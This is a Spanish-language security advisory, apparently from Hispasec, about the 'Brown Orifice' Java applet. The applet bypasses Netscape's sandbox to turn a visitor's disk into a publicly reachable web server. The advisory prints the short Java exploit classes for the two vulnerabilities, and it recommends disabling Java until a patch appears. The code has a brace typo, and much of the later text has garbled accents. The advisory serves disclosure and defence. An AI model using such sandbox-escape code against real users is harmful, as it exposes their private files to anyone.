Nuevos agujeros de seguridad permiten compartir los ficheros y directorios locales de los sistemas de los usuarios con tan sólo visitar una página web con el navegador de Netscape. Un applet de Java diseñado para la ocasión consigue eludir las restricciones de la «sandbox» de Netscape y abrir un puerto que convierte el disco duro del visitante/víctima en un servidor web accesible por cualquiera.
Dam Brumleve, un joven «hacker» de 22 años, ha desarrollado «Brown Orifice HTTPD», un applet que convierte al navegador de Netscape en un troyano-backdoor. La función de «BOHTTPD» consiste en abrir un servidor web en el sistema del usuario y compartir su disco duro, de forma que cualquiera puede acceder a sus ficheros locales desde Internet con un simple navegador.
Para construir el applet, «BOHTTPD», aprovecha en primer lugar una vulnerabilidad que permite abrir un servidor Java accesible de forma remota por un cliente arbitrario. Esta vulnerabilidad es explotada en BOServerSocket.java y BOSocket.java:
[BOServerSocket.java]
import java.io.IOException;
import java.lang.SecurityException;
import java.net.Socket;
import java.net.ServerSocket;
public class BOServerSocket extends ServerSocket { public BOServerSocket(int port) throws IOException { super(port);
} public BOSocket accept_any() throws IOException { BOSocket s = new BOSocket(); try { implAccept(s); } catch (SecurityException se) { } return s;
}
}
[BOSocket.java]
import java.net.Socket;
import java.io.IOException;
public class BOSocket extends Socket { public void close_real() throws IOException { super.close();
}
public void close() {
}
}
En segundo lugar, aprovecha otra vulnerabilidad que permite acceder a cualquier URL desde el applet cliente, incluyendo los ficheros locales, de forma que facilita compartir el disco duro del usuario. Esta vulnerabilidad es explotada en BOURLConnection.java y BOURLInputStream.java:
[BOURLConnection.java ]
import java.net.MalformedURLException;
import java.net.URL;
import netscape.net.URLConnection;
public class BOURLConnection extends URLConnection { public BOURLConnection(String u) throws MalformedURLException { super(new URL(u));
connected = true;
}
public BOURLConnection(URL u) } super(u);
connected = true;
}
}
[BOURLInputStream.java]
import java.net.URL;
import java.io.IOException;
import netscape.net.URLInputStream;
import netscape.net.URLConnection;
public class BOURLInputStream extends URLInputStream { public BOURLInputStream(URLConnection uc) throws IOException { super(uc);
open();
}
}
Brumleve mantiene una p gina donde demuestra en la pr ctica como funciona «Brown Orifice», en la cual podemos indicar el directorio local que queremos compartir y el puerto en el que escuchar nuestro servidor web. La demostraci¢n tambi’n recoge en una p gina web el listado de todos los sistemas que est n probando el applet, lo que algunos ya est n aprovechando para compartir MP3s y otros recursos.
Para cerrar el servidor web basta con cerrar la sesi¢n de Netscape que mantenemos abierta con el applet. Segon una oltima nota del autor, ha podido comprobar como un sistema Windows 2000 ha continuado ejecutando «BOHTTPD» aun despu’s de haber cerrado el navegador, aunque de momento ser¡a un hecho aislado del que no se conocen m s detalles.
Netscape no ha facilitado aun parche para corregir estas vulnerabilidades, por lo que la onica soluci¢n pasa por desactivar el soporte de Java en sus navegadores.
M s informaci¢n:
Brown Orifice:
http://www.brumleve.com/BrownOrifice/
Bernardo Quintero
bernardo@hispasec.com